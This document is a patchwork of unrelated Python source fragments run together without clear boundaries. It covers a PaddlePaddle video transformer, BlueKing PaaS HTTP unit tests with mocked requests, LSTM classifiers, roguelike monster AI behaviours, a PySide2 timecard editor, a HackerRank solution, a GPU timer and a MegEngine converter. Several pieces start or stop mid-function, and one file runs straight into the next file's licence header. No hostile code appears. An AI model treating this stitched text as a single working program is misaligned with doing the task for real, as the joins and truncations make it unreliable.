epsilon=epsilon) def init_weights(self): """First init model's weight""" trunc_normal_(self.pos_embed, std=0.02) trunc_normal_(self.cls_token, std=0.02) self.apply(self._init_fn) if self.attention_type == 'divided_space_time': i = 0 for m in self.blocks.sublayers(include_self=True): m_str = str(m) if 'Block' in m_str: if i > 0: zeros_(m.temporal_fc.weight) zeros_(m.temporal_fc.bias) i += 1 """Second, if provide pretrained ckpt, load it""" if isinstance( self.pretrained, str ) and self.pretrained.strip() != "": # load pretrained weights load_ckpt(self, self.pretrained, num_patches=self.patch_embed.num_patches, seg_num=self.seg_num, attention_type=self.attention_type) elif self.pretrained is None or self.pretrained.strip() == "": pass else: raise NotImplementedError def _init_fn(self, m): if isinstance(m, nn.Linear): trunc_normal_(m.weight) if m.bias is not None: zeros_(m.bias) elif isinstance(m, nn.LayerNorm): ones_(m.weight) zeros_(m.bias) def forward_features(self, x): # B = x.shape[0] B = paddle.shape(x)[0] x, T, W = self.patch_embed(x) # [BT,nH*nW,F] cls_tokens = self.cls_token.expand((B * T, -1, -1)) # [1,1,F]->[BT,1,F] x = paddle.concat((cls_tokens, x), axis=1) pos_interp = (x.shape[1] != self.pos_embed.shape[1]) if pos_interp: pos_embed = self.pos_embed cls_pos_embed = pos_embed[0, 0, :].unsqueeze(0).unsqueeze(1) other_pos_embed = pos_embed[0, 1:, :].unsqueeze(0).transpose( (0, 2, 1)) P = int(other_pos_embed.shape[2]**0.5) H = x.shape[1] // W other_pos_embed = other_pos_embed.reshape([1, x.shape[2], P, P]) new_pos_embed = F.interpolate(other_pos_embed, size=(H, W), mode='nearest') new_pos_embed = new_pos_embed.flatten(2) new_pos_embed = new_pos_embed.transpose((0, 2, 1)) new_pos_embed = paddle.concat((cls_pos_embed, new_pos_embed), axis=1) x = x + new_pos_embed else: x = x + self.pos_embed x = self.pos_drop(x) # Time Embeddings if self.attention_type != 'space_only': cls_tokens = x[:B, 0, :].unsqueeze(1) if B > 0 else x.split( T)[0].index_select(paddle.to_tensor([0]), axis=1) x = x[:, 1:] _, _n, _m = x.shape _t = T x = x.reshape([-1, _t, _n, _m]).transpose( (0, 2, 1, 3)).reshape([-1, _t, _m]) # Resizing time embeddings in case they don't match time_interp = (T != self.time_embed.shape[1]) if time_interp: # T' != T time_embed = self.time_embed.transpose((0, 2, 1)).unsqueeze(0) new_time_embed = F.interpolate(time_embed, size=(T, x.shape[-1]), mode='nearest').squeeze(0) new_time_embed = new_time_embed.transpose((0, 2, 1)) x = x + new_time_embed else: x = x + self.time_embed x = self.time_drop(x) _, _t, _m = x.shape x = x.reshape([-1, W * W * T, _m]) x = paddle.concat((cls_tokens, x), axis=1) # Attention blocks for blk in self.blocks: x = blk(x, B, T, W) # Predictions for space-only baseline if self.attention_type == 'space_only': _, _n, _m = x.shape _t = T x = x.reshape([-1, _t, _n, _m]) x = paddle.mean(x, 1) # averaging predictions for every frame x = self.norm(x) return x[:, 0] # [B, embed_dim] def forward(self, x): x = self.forward_features(x) return x glue_solar/__init__.py from pkg_resources import get_distribution, DistributionNotFound from sunpy.visualization.colormaps import cmlist from glue.viewers.image.qt import ImageViewer from glue_solar.pixel_extraction import PixelExtractionTool # noqa from glue.config import colormaps from glue_solar.instruments import * from glue_solar.core import * try: __version__ = get_distribution(__name__).version except DistributionNotFound: pass def setup(): ImageViewer.tools.append('solar:pixel_extraction') for name, ctable in sorted(cmlist.items()): colormaps.add(ctable.name, ctable) # -*- coding: utf-8 -*- pytest_plugins = "pytester" import pytest class TestUseFixturesIf(object): def setup_method(self, method): self.conftest = open("./pytest_usefixturesif.py", "r") paas-ce/paas/paas/common/tests.py100-1000 # -*- coding: utf-8 -*- """ Tencent is pleased to support the open source community by making 蓝鲸智云PaaS平台社区版 (BlueKing PaaS Community Edition) available. Copyright (C) 2017-2018 THL A29 Limited, a Tencent company. All rights reserved. Licensed under the MIT License (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://opensource.org/licenses/MIT Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ # noqa from __future__ import unicode_literals from django.conf import settings from django.test import TestCase import mock import requests from common.constants import LogoImgRelatedDirEnum from common.http import _gen_header, http_delete, http_get, http_post from common.utils import file_size_bytes_to_m, get_app_logo, should_update_logo class CommonUtilsTestCase(TestCase): def test_file_size_bytes_to_m(self): size = None self.assertEqual(size, file_size_bytes_to_m(size)) size = 0 self.assertEqual(size, file_size_bytes_to_m(0)) size = 1024 * 1024 self.assertEqual(1.0, file_size_bytes_to_m(size)) def test_get_app_logo(self): app_code = 'bk_framework' logo_name = '{}/{}.png'.format(LogoImgRelatedDirEnum.APP.value, app_code) result = '{}{}'.format(settings.MEDIA_URL, logo_name) self.assertEqual(result, get_app_logo(app_code)) app_code = "not_exists" self.assertEqual("", get_app_logo(app_code)) def test_should_update_logo(self): app_code = "test" app_logo_name = "{}/{}.png".format(LogoImgRelatedDirEnum.APP.value, app_code) ok, _ = should_update_logo(app_code, app_logo_name) self.assertFalse(ok) ok, logo_name = should_update_logo('test1', app_logo_name) self.assertTrue(ok) class CommonHttpTestCase(TestCase): def _mock_response(self, status=200, content="CONTENT", json_data=None, raise_for_status=None): """ https://gist.github.com/evansde77/45467f5a7af84d2a2d34f3fcb357449c since we typically test a bunch of different requests calls for a service, we are going to do a lot of mock responses, so its usually a good idea to have a helper function that builds these things """ mock_resp = mock.Mock() # mock raise_for_status call w/optional error mock_resp.raise_for_status = mock.Mock() if raise_for_status: mock_resp.raise_for_status.side_effect = raise_for_status # set status code and content mock_resp.status_code = status mock_resp.content = content # add json data if provided if json_data: mock_resp.json = mock.Mock( return_value=json_data ) return mock_resp @mock.patch('requests.get') def test_http_get(self, mock_get): # 200 mock_resp = self._mock_response(status=200) mock_get.return_value = mock_resp ok, data = http_get("http://not_exists.com/", data={}) self.assertTrue(ok) # 200, with json json_data = {"a": 1, "b": 2} mock_resp = self._mock_response(status=200, json_data=json_data) mock_get.return_value = mock_resp ok, data = http_get("http://not_exists.com/", data={}) self.assertTrue(ok) self.assertEqual(json_data, data) # not 200 mock_resp = self._mock_response(status=400) mock_get.return_value = mock_resp ok, data = http_get("http://not_exists.com/", data={}) self.assertFalse(ok) # timeout # https://stackoverflow.com/questions/48723711/python-mock-requests-post-to-throw-exception mock_get.side_effect = requests.exceptions.Timeout() ok, data = http_get("http://not_exists.com/", data={}) self.assertFalse(ok) @mock.patch('requests.post') def test_http_post(self, mock_post): # 200 mock_resp = self._mock_response(status=200) mock_post.return_value = mock_resp ok, data = http_post("http://not_exists.com/", data={}) self.assertTrue(ok) # 200, with json json_data = {"a": 1, "b": 2} mock_resp = self._mock_response(status=200, json_data=json_data) mock_post.return_value = mock_resp ok, data = http_post("http://not_exists.com/", data={}) self.assertTrue(ok) self.assertEqual(json_data, data) @mock.patch('requests.delete') def test_http_delete(self, mock_delete): # 200 mock_resp = self._mock_response(status=200) mock_delete.return_value = mock_resp ok, data = http_delete("http://not_exists.com/", data={}) self.assertTrue(ok) # 200, with json json_data = {"a": 1, "b": 2} mock_resp = self._mock_response(status=200, json_data=json_data) mock_delete.return_value = mock_resp ok, data = http_delete("http://not_exists.com/", data={}) self.assertTrue(ok) self.assertEqual(json_data, data) def test_default_header(self): headers = { "Content-Type": "application/json", } self.assertEqual(headers, _gen_header()) classifier/model/RNNClassifiers.py """ Model Architectures of RNN based Classifiers """ import logging import torch import torch.nn as nn from config.root import LOGGING_FORMAT, LOGGING_LEVEL # Initialize logger for this file logger = logging.getLogger(__name__) logging.basicConfig(level=LOGGING_LEVEL, format=LOGGING_FORMAT) class RNNHiddenClassifier(nn.Module): """ This classifier concatenates the last hidden """ def __init__( self, vocab_size, embedding_dim, hidden_dim, output_dim, n_layers, bidirectional, dropout, pad_idx, ): super().__init__() self.embedding = nn.Embedding(vocab_size, embedding_dim, padding_idx=pad_idx) self.bidirectional = bidirectional self.rnn = nn.LSTM( embedding_dim, hidden_dim, num_layers=n_layers, bidirectional=bidirectional, dropout=dropout, ) if self.bidirectional: self.fc = nn.Linear(hidden_dim * 2, output_dim) else: self.fc = nn.Linear(hidden_dim, output_dim) self.dropout = nn.Dropout(dropout) def forward(self, text, text_lengths): embedded = self.dropout(self.embedding(text)) packed_embedded = nn.utils.rnn.pack_padded_sequence(embedded, text_lengths) packed_output, (hidden, cell) = self.rnn(packed_embedded) output, output_lengths = nn.utils.rnn.pad_packed_sequence(packed_output) if self.bidirectional: hidden = self.dropout( torch.cat((hidden[-2, :, :], hidden[-1, :, :]), dim=1) ) else: hidden = self.dropout(hidden[-1, :, :]) return self.fc(hidden) class RNNMaxpoolClassifier(nn.Module): """ This classifier max pools the hidden states """ def __init__( self, vocab_size, embedding_dim, hidden_dim, output_dim, n_layers, bidirectional, dropout, pad_idx, ): super().__init__() self.embedding = nn.Embedding(vocab_size, embedding_dim, padding_idx=pad_idx) self.bidirectional = bidirectional self.rnn = nn.LSTM( embedding_dim, hidden_dim, num_layers=n_layers, bidirectional=bidirectional, dropout=dropout, ) self.fc = nn.Linear(hidden_dim, output_dim) self.dropout = nn.Dropout(dropout) def forward(self, text, text_lengths): embedded = self.dropout(self.embedding(text)) packed_embedded = nn.utils.rnn.pack_padded_sequence(embedded, text_lengths) packed_output, (hidden, cell) = self.rnn(packed_embedded) output, output_lengths = nn.utils.rnn.pad_packed_sequence(packed_output) hidden, _ = torch.max(hidden, dim=0) return self.fc(hidden) class RNNFieldClassifer(nn.Module): def __init__( self, vocab_size, embedding_dim, hidden_dim, output_dim, n_layers, bidirectional, dropout, pad_idx, tag_vocab, ): super().__init__() self.embedding = nn.Embedding(vocab_size, embedding_dim, padding_idx=pad_idx) self.tag_embedding = nn.Embedding( len(tag_vocab.vocab), 50, padding_idx=tag_vocab.vocab.stoi[tag_vocab.pad_token], ) self.tag_embedding.weight.requires_grad = False self.bidirectional = bidirectional self.rnn = nn.LSTM( embedding_dim + 50, hidden_dim, num_layers=n_layers, bidirectional=bidirectional, dropout=dropout, ) if self.bidirectional: self.fc = nn.Linear(hidden_dim * 2, output_dim) else: self.fc = nn.Linear(hidden_dim, output_dim) self.dropout = nn.Dropout(dropout) def forward(self, text, text_lengths, tag): embedded = self.dropout(self.embedding(text)) tag_embedded = self.dropout(self.tag_embedding(tag)) embed = torch.cat((embedded, tag_embedded), -1) # packed_embedded = nn.utils.rnn.pack_padded_sequence(embedded, text_lengths) packed_output, (hidden, cell) = self.rnn(embed) # output, output_lengths = nn.utils.rnn.pad_packed_sequence(packed_output) if self.bidirectional: hidden = self.dropout( torch.cat((hidden[-2, :, :], hidden[-1, :, :]), dim=1) ) else: hidden = self.dropout(hidden[-1, :, :]) return self.fc(hidden) # "Behaviors" specify how the monsters move. # The companion to this file is actions.py, which is a bunch of helper # functions for behaviors. import random import weakref from collections import deque from enum import Enum from uuid import uuid4 from clubsandwich.geom import Size, Point from clubsandwich.tilemap import TileMap from .actions import ( action_attack, action_pickup_item, action_move, action_throw, ) from .level_generator import generate_dungeon from .const import ( EnumEventNames, EnumMonsterMode, ) from .entity import Item # This is a simple decorator that collects classes by name. # For example, if you put ``@behavior('bloop')`` above a class, and then in # monsters.csv you put "bloop" in the behavior column of a monster, it will # act according to the class. BEHAVIORS_BY_ID = {} def behavior(behavior_id): def dec(cls): BEHAVIORS_BY_ID[behavior_id] = cls return cls return dec # Behaviors are just event listeners with entities and levels attached! When an # event fires, the dispatcher calls the appropriate method, and the behavior # can do whatever it wants with Entity + LevelState. class Behavior: def __init__(self, entity, level_state, event_names): self.event_names = event_names self._entity = weakref.ref(entity) self._level_state = weakref.ref(level_state) @property def entity(self): return self._entity() @property def level_state(self): return self._level_state() def add_to_event_dispatcher(self, dispatcher): for name in self.event_names: # Subscribe to events for all entities. # This is a pretty "meh" design decision and the biggest shortcoming of # the behavior system. dispatcher.add_subscriber(self, name, None) def remove_from_event_dispatcher(self, dispatcher): for name in self.event_names: dispatcher.remove_subscriber(self, name, None) # There is a significant shortcoming in the event handling system: if you want # one event to prevent others from firing, you basically can't! Or if you want # several handlers to try to "match" an event, one after the other. For # example, "If I can see the player, move toward them. Otherwise move randoly." # # That logic could be written in a single behavior, but it's more powerful to # solve the problem generally. CompositeBehavior has a list of behaviors, and # for each event, it calls its sub-behaviors in order until one returns True. class CompositeBehavior(Behavior): def __init__(self, entity, level_state, sub_behaviors): self.sub_behaviors = sub_behaviors event_names = set() for b in sub_behaviors: event_names = event_names | set(b.event_names) for e in event_names: setattr(self, 'on_' + e.value, self.get_handler(e)) super().__init__(entity, level_state, list(event_names)) def get_handler(self, e): k = 'on_' + e.value methods = [ getattr(b, k) for b in self.sub_behaviors if hasattr(b, k)] def handler(*args, **kwargs): for method in methods: if method(*args, **kwargs): return True return False return handler # Superclass for behaviors that simply respond to the player's movements class StandardEnemyBehavior(Behavior): def __init__(self, entity, level_state): super().__init__(entity, level_state, [EnumEventNames.player_took_action]) @behavior('sleep') class SleepBehavior(StandardEnemyBehavior): def on_player_took_action(self, event): self.entity.mode = EnumMonsterMode.DEFAULT return True # When an enemy is hit, it cannot move for 2 turns. @behavior('stunnable') class StunnableBehavior(Behavior): def __init__(self, entity, level_state): super().__init__(entity, level_state, [ EnumEventNames.entity_attacked, EnumEventNames.player_took_action, ]) # When this entity is attacked, go into the "stunned" state and start the # cooldown. # Other behaviors do not need to worry about the STUNNED state, because this # behavior pre-empts them by returning True if the entity is stunned. def on_entity_attacked(self, event): if event.entity is not self.entity: return False self.entity.behavior_state['stun_cooldown'] = 2 self.entity.mode = EnumMonsterMode.STUNNED # Decrease the cooldown when the player moves. def on_player_took_action(self, event): cooldown = self.entity.behavior_state.get('stun_cooldown', 0) if cooldown: self.entity.behavior_state['stun_cooldown'] -= 1 return True else: return False @behavior('random_walk') class RandomWalkBehavior(StandardEnemyBehavior): def on_player_took_action(self, event): if self.entity.position.manhattan_distance_to(self.level_state.player.position) > 40: self.entity.mode = EnumMonsterMode.SLEEPING return True self.entity.mode = EnumMonsterMode.DEFAULT possibilities = self.level_state.get_passable_neighbors(self.entity) if not possibilities: return False action_move(self.level_state, self.entity, random.choice(possibilities)) return True @behavior('pick_up_rocks') class PickUpRocksBehavior(StandardEnemyBehavior): def on_player_took_action(self, event): possibilities = self.level_state.get_passable_neighbors(self.entity) if not possibilities: return False self.entity.mode = EnumMonsterMode.DEFAULT for i in self.level_state.get_items_at(self.entity.position): if i.item_type.id == 'ROCK': action_pickup_item(self.level_state, self.entity) return True for p in possibilities: for i in self.level_state.get_items_at(p): if i.item_type.id == 'ROCK': action_move(self.level_state, self.entity, p) return True return False # If there is a clear line of sight to the player, move into the neighboring # cell closest to them. # # Distance is measured in "manhattan distance," which does not count diagonals! # This is technically suboptimal, but in this game I erred on the side of # making the game easier. @behavior('beeline_visible') class BeelineBehavior(StandardEnemyBehavior): def on_player_took_action(self, event): if not self.level_state.test_line_of_sight(self.entity, self.level_state.player): return False candidates = self.level_state.get_passable_neighbors(self.entity, allow_player=True) if not candidates: return False self.entity.mode = EnumMonsterMode.CHASING point = self.level_state.player.position.get_closest_point(candidates) action_move(self.level_state, self.entity, point) return True # Stay precisely 5 tiles away from the player. Great for ranged enemies! Not # the smartest possible AI, but decent for ... @behavior('range_5_visible') class Range5VisibleBehavior(StandardEnemyBehavior): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.best_range = 5 def on_player_took_action(self, event): if not self.level_state.test_line_of_sight( self.entity, self.level_state.player): return False candidates = self.level_state.get_passable_neighbors(self.entity) if not candidates: return False dist = self.entity.position.manhattan_distance_to( self.level_state.player.position) # Because manhattan distance does not map to our actual possible moves, # allow for a one-tile margin if dist < self.best_range - 1: self.entity.mode = EnumMonsterMode.FLEEING action_move(self.level_state, self.entity, self.level_state.player.position.get_farthest_point(candidates)) return True elif dist > self.best_range: self.entity.mode = EnumMonsterMode.CHASING action_move(self.level_state, self.entity, self.level_state.player.position.get_closest_point(candidates)) return True else: return False # probably cascade to some kind of ranged attack # Same as previous but with 7 tiles instead of 5, to make it harder, or at # least different. @behavior('range_7_visible') class Range7VisibleBehavior(Range5VisibleBehavior): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.best_range = 7 # If the player is visible, throw a rock at them! # # At this point we've defined the complete AI for wibbles: # # * If stunned, wait for cooldown # * If player is visible and we are not X tiles away from them, move toward # that goal # * If player is visible and we are X tiles away from them, throw a rock # * If player cannot be seen, sleep @behavior('throw_rock_slow') class ThrowRockSlowBehavior(StandardEnemyBehavior): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.rock_speed = 1 def on_player_took_action(self, event): if not self.level_state.test_line_of_sight(self.entity, self.level_state.player): return False self.entity.behavior_state.setdefault('throw_rock_cooldown', 1) self.entity.behavior_state['throw_rock_cooldown'] -= 1 if self.entity.behavior_state['throw_rock_cooldown'] <= 0: try: item = next(item for item in self.entity.inventory if item.item_type.id == 'ROCK') except StopIteration: item = None if not item: print("Can't throw, no more rocks in inventory") return False self.entity.behavior_state['throw_rock_cooldown'] = 6 action_throw(self.level_state, self.entity, item, self.level_state.player.position, self.rock_speed) # Thrown rocks are entities! This behavior moves them along a predetermined # set of points (computed when the rock was thrown) until they hit the end of # their path, or they are attacked. @behavior('path_until_hit') class PathUntilHitBehavior(StandardEnemyBehavior): def _drop(self, point): # The pathing entity is assumed to be carrying exactly one inventory item: # the item that was thrown. self.level_state.drop_item(self.entity.inventory.pop(0), point, entity=self.entity) self.level_state.remove_entity(self.entity) def _move_one(self): p = self.entity.position path = self.entity.behavior_state.get('path', None) if path: next_point = path.pop(0) if next_point is None: # See hack in actions.action_throw; this is a special case for the first # point. Basically a "wait" instruction. return True else: entity_to_hit = self.level_state.get_entity_at(next_point) if entity_to_hit: action_attack(self.level_state, self.entity, entity_to_hit) self._drop(next_point) elif self.level_state.get_is_terrain_passable(next_point): action_move(self.level_state, self.entity, next_point) return True else: # If no remaining points, drop self._drop(self.entity.position) return True def on_player_took_action(self, event): for _ in range(self.entity.behavior_state['speed']): self._move_one() return True """Edit View [Timecard] Author(s): Allows editing a single time log entry. """ from datetime import datetime from PySide2.QtWidgets import QWidget, QGridLayout, QHBoxLayout, QVBoxLayout from PySide2.QtWidgets import QPushButton from PySide2.QtWidgets import QLabel, QLineEdit, QDateTimeEdit, QSpinBox from PySide2.QtGui import QIcon from PySide2.QtCore import QDateTime, QDate, QTime from timecard.data.timelog import TimeLog class EditView: widget = QWidget() layout = QVBoxLayout() grid_widget = QWidget() grid_layout = QGridLayout() buttons_widget = QWidget() buttons_layout = QHBoxLayout() lbl_timestamp = QLabel("Timestamp") cal_timestamp = QDateTimeEdit() lbl_duration = QLabel("Duration") lbl_hour = QLabel("Hours") spn_hour = QSpinBox() spn_hour.setMinimum(0) lbl_min = QLabel("Minutes") spn_min = QSpinBox() spn_min.setMaximum(61) spn_min.setMinimum(-1) # this will get changed to 0 as needed in normalize lbl_sec = QLabel("Seconds") spn_sec = QSpinBox() spn_sec.setMaximum(61) spn_sec.setMinimum(-1) # this will get changed to 0 as needed in normalize lbl_activity = QLabel("Activity") txt_activity = QLineEdit() btn_done = QPushButton(QIcon.fromTheme('cancel'), "Done") btn_revert = QPushButton(QIcon.fromTheme('edit-undo'), "Revert") btn_save = QPushButton(QIcon.fromTheme('document-save'), "Save") index = None entry = None done_callback = [] @classmethod def build(cls): """Build the interface.""" cls.lbl_timestamp.setWhatsThis("The timestamp for the entry.") cls.cal_timestamp.setWhatsThis("The timestamp for the entry.") cls.cal_timestamp.setDisplayFormat("yyyy MMM dd hh:mm:ss") cls.cal_timestamp.dateTimeChanged.connect(cls.edited) cls.lbl_hour.setWhatsThis("The hour part of the entry duration.") cls.spn_hour.setWhatsThis("The hour part of the entry duration.") cls.spn_hour.valueChanged.connect(cls.edited) cls.lbl_min.setWhatsThis("The minute part of the entry duration.") cls.spn_min.setWhatsThis("The minute part of the entry duration.") cls.spn_min.valueChanged.connect(cls.edited) cls.lbl_sec.setWhatsThis("The second part of the entry duration.") cls.spn_sec.setWhatsThis("The second part of the entry duration.") cls.spn_sec.valueChanged.connect(cls.edited) cls.lbl_activity.setWhatsThis("The activity notes for the entry.") cls.txt_activity.setWhatsThis("The activity notes for the entry.") cls.txt_activity.textChanged.connect(cls.edited) cls.grid_layout.addWidget(cls.lbl_timestamp, 0, 0, 1, 1) cls.grid_layout.addWidget(cls.cal_timestamp, 0, 1, 1, 1) cls.grid_layout.addWidget(cls.lbl_duration, 2, 0, 1, 2) cls.grid_layout.addWidget(cls.lbl_hour, 3, 0, 1, 1) cls.grid_layout.addWidget(cls.spn_hour, 3, 1, 1, 1) cls.grid_layout.addWidget(cls.lbl_min, 4, 0, 1, 1) cls.grid_layout.addWidget(cls.spn_min, 4, 1, 1, 1) cls.grid_layout.addWidget(cls.lbl_sec, 5, 0, 1, 1) cls.grid_layout.addWidget(cls.spn_sec, 5, 1, 1, 1) cls.grid_layout.addWidget(cls.lbl_activity, 6, 0, 1, 1) cls.grid_layout.addWidget(cls.txt_activity, 6, 1, 1, 1) cls.grid_widget.setLayout(cls.grid_layout) cls.btn_done.clicked.connect(cls.done) cls.btn_done.setWhatsThis("Return to time log.") cls.buttons_layout.addWidget(cls.btn_done) cls.buttons_layout.addWidget(cls.btn_revert) cls.buttons_layout.addWidget(cls.btn_save) cls.btn_save.clicked.connect(cls.save) cls.btn_save.setWhatsThis("Save the settings.") cls.btn_revert.clicked.connect(cls.refresh) cls.btn_revert.setWhatsThis("Discard changes to settings.") cls.buttons_widget.setLayout(cls.buttons_layout) cls.layout.addWidget(cls.grid_widget) cls.layout.addWidget(cls.buttons_widget) cls.widget.setLayout(cls.layout) cls.refresh() return cls.widget @classmethod def connect(cls, on_done=None): if on_done and on_done not in cls.done_callback: cls.done_callback.append(on_done) @classmethod def done(cls): for callback in cls.done_callback: callback() @classmethod def load_item(cls, timestamp): cls.entry = TimeLog.retrieve_from_log(timestamp) cls.refresh() @classmethod def normalize(cls): # Changes made by normalize should never trigger another event. cls.spn_hour.valueChanged.disconnect() cls.spn_min.valueChanged.disconnect() cls.spn_sec.valueChanged.disconnect() hour = cls.spn_hour.value() min = cls.spn_min.value() sec = cls.spn_sec.value() # Handle incrementing rollover of seconds and minutes if sec > 59: min += sec // 60 sec %= 60 if min > 59: hour += min // 60 min %= 60 # Handle decrementing rollover of seconds and minutes if sec < 0 and (hour > 0 or min > 0): min -= 1 sec = 59 if min < 0 and hour > 0: hour -= 1 min = 59 # Set the revised values (even if they are the same) cls.spn_hour.setValue(hour) cls.spn_min.setValue(min) cls.spn_sec.setValue(sec) # Update the minimums so we never SEE a number lower than 0. cls.spn_min.setMinimum(-1 if hour else 0) cls.spn_sec.setMinimum(-1 if (min or hour) else 0) # Reconnect the signals cls.spn_hour.valueChanged.connect(cls.edited) cls.spn_min.valueChanged.connect(cls.edited) cls.spn_sec.valueChanged.connect(cls.edited) @classmethod def edited(cls): # Normalize times cls.normalize() # Change interface to allow saving or reverting. cls.btn_done.setEnabled(False) cls.btn_revert.setEnabled(True) cls.btn_save.setEnabled(True) @classmethod def not_edited(cls): cls.btn_done.setEnabled(True) cls.btn_revert.setEnabled(False) cls.btn_save.setEnabled(False) @classmethod def refresh(cls): if cls.entry is None: return timestamp = cls.entry.timestamp datetime = QDateTime() datetime.setDate(QDate(timestamp.year, timestamp.month, timestamp.day)) datetime.setTime(QTime(timestamp.hour, timestamp.minute, timestamp.second)) cls.cal_timestamp.setDateTime(datetime) hours, minutes, seconds = cls.entry.duration cls.spn_hour.setValue(hours) cls.spn_min.setValue(minutes) cls.spn_sec.setValue(seconds) cls.txt_activity.setText(cls.entry.notes) cls.not_edited() @classmethod def save(cls): TimeLog.remove_from_log(cls.entry.timestamp) timestamp = datetime(cls.cal_timestamp.date().year(), cls.cal_timestamp.date().month(), cls.cal_timestamp.date().day(), cls.cal_timestamp.time().hour(), cls.cal_timestamp.time().minute(), cls.cal_timestamp.time().second() ) new_timestamp = TimeLog.add_to_log(timestamp, cls.spn_hour.value(), cls.spn_min.value(), cls.spn_sec.value(), cls.txt_activity.text() ) cls.not_edited() cls.entry = TimeLog.retrieve_from_log(new_timestamp) # Display the revised data. cls.refresh() dp3.py1-10 #!/usr/bin/env python3 # Complete the candies function below. def candies(n, arr): def f(a): b = [1] for i in range(1, len(a)): b.append(b[i - 1] + 1 if a[i] > a[i - 1] else 1) return b b = f(arr) arr.reverse() c = f(arr) c.reverse() return sum(max(u, v) for (u, v) in zip(b, c)) if __name__ == "__main__": n = int(input()) arr = [] for _ in range(n): arr_item = int(input()) arr.append(arr_item) result = candies(n, arr) print(result) import time import gc import torch class CodeTimer(object): def __init__(self, active): self.active = active self.time = None self._start_time = 0 self._end_time = 0 @staticmethod def _start_timer(): gc.collect() if torch.cuda.is_available(): torch.cuda.empty_cache() torch.cuda.synchronize() return time.perf_counter() @staticmethod def _end_timer(): if torch.cuda.is_available(): torch.cuda.synchronize() return time.perf_counter() def __enter__(self): if self.active: self._start_time = self._start_timer() return self def __exit__(self, *args): if self.active: self._end_time = self._end_timer() self.time = self._end_time - self._start_time# MegEngine is Licensed under the Apache License, Version 2.0 (the "License") # # Copyright (c) 2014-2020 Megvii Inc. All rights reserved. # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT ARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. from ....converter_ir.ir_op import ( AvgPool2dOpr, BatchNormalizationOpr, Conv2dOpr, ConvolutionBackwardFilterOpr, Deconv2dOpr, MaxPool2dOpr, ) from ....converter_ir.ir_tensor import AxisOrder from ..mge_utils import get_shape from .base import OpGenBase, _register_op @_register_op("ConvolutionForward") class GenConv2dOpr(OpGenBase): def __init__(self, mge_opr, irgraph): super().__init__(mge_opr, irgraph) self.kernel_shape = get_shape(mge_opr.inputs[1]) self.stride = [self.params["stride_h"], self.params["stride_w"]] self.padding = [self.params["pad_h"], self.params["pad_w"]] self.dilation = [self.params["dilate_h"], self.params["dilate_w"]] self.groups = self.kernel_shape[0] if len(self.kernel_shape) == 5 else 1 self.data_format = self.params["format"] assert self.data_format == "NCHW", "do not support this {} format".format( self.data_format ) assert self.params["compute_mode"].lower() == "default" assert self.params["mode"].lower() == "cross_correlation" self.op = Conv2dOpr(self.stride, self.padding, self.dilation, self.groups) self.add_tensors(mge_opr) def add_tensors(self, mge_opr): self.op.add_inp_tensors( self.resolver.get_ir_tensor(mge_opr.inputs[0], user_opr=self.op) ) self.op.add_inp_tensors( self.resolver.get_ir_tensor( mge_opr.inputs[1], user_opr=self.op, axis_order=AxisOrder.OIHW ) ) if len(mge_opr.inputs) > 2: self.op.add_inp_tensors( self.resolver.get_ir_tensor(mge_opr.inputs[2], user_opr=self.op) ) for x in mge_opr.outputs: self.op.add_out_tensors(self.resolver.get_ir_tensor(x, owner_opr=self.op)) @_register_op("ConvBiasForward") class GenConvBiasForwardOpr(GenConv2dOpr): def __init__(self, mge_opr, irgraph): super().__init__(mge_opr, irgraph) self.op.activation = self.params["nonlineMode"] @_register_op("ConvolutionBackwardData") class GenDeconv2dOpr(OpGenBase): def __init__(self, mge_opr, irgraph) -> None: super().__init__(mge_opr, irgraph) self.kernel_shape = get_shape(mge_opr.inputs[0]) self.stride = [self.params["stride_h"], self.params["stride_w"]] self.padding = [self.params["pad_h"], self.params["pad_w"]] self.dilation = [self.params["dilate_h"], self.params["dilate_w"]] self.groups = self.kernel_shape[0] if len(self.kernel_shape) == 5 else 1 self.sparse = self.params["sparse"] self.data_format = self.params["format"] assert self.data_format == "NCHW", "do not support this {} format".format( self.data_format ) assert self.params["compute_mode"].lower() == "default" assert self.params["mode"].lower() == "cross_correlation" self.op = Deconv2dOpr(self.stride, self.padding, self.dilation, self.groups) self.add_tensors(mge_opr) def add_tensors(self, mge_opr): self.op.add_inp_tensors( self.resolver.get_ir_tensor(mge_opr.inputs[1], user_opr=self.op) ) self.op.add_inp_tensors( self.resolver.get_ir_tensor( mge_opr.inputs[0], user_opr=self.op, axis_order=AxisOrder.IOHW ) ) if len(mge_opr.inputs) > 2: self.op.add_inp_tensors( self.resolver.get_ir_tensor(mge_opr.inputs[2], user_opr=self.op) ) for x in mge_opr.outputs: self.op.add_out_tensors(self.resolver.get_ir_tensor(x, owner_opr=self.op)) mode_map = {"MAX": MaxPool2dOpr, "AVERAGE_COUNT_EXCLUDE_PADDING": AvgPool2dOpr} @_register_op("PoolingForward") class GenPool2dOpr(OpGenBase): def __init__(self, mge_opr, irgraph): super().__init__(mge_opr, irgraph) self.data_format = self.params["format"] self.mode = self.params["mode"] self.stride = [self.params["stride_h"], self.params["stride_w"]] self.padding = [self.params["pad_h"], self.params["pad_w"]] self.kernel_shape = [self.params["window_h"], self.params["window_w"]] self.op = mode_map[self.mode](self.kernel_shape, self.stride, self.padding) self.add_tensors(mge_opr) @_register_op("ConvolutionBackwardFilter") class GenConvolutionBackwardFilterOpr(OpGenBase): def __init__(self, mge_opr, irgraph): super().__init__(mge_opr, irgraph) assert self.params["format"] == "NCHW", "do not support this {}".format( self.params["format"] ) src, grad_out, weight = mge_opr.inputs self.ni, self.ci, self.hi, self.wi = src.shape self.no, self.co, self.ho, self.wo = grad_out.shape assert self.ni == self.no if len(weight.shape) == 5: self.group = weight.shape[0] self.kernel_shape = [weight.shape[3], weight.shape[4]] else: self.group = 1 self.kernel_shape = [weight.shape[2], weight.shape[3]] self.stride = [self.params["stride_h"], self.params["stride_w"]] self.padding = [self.params["pad_h"], self.params["pad_w"]] self.dilation = [self.params["dilate_h"], self.params["dilate_w"]] self.op = ConvolutionBackwardFilterOpr( self.stride, 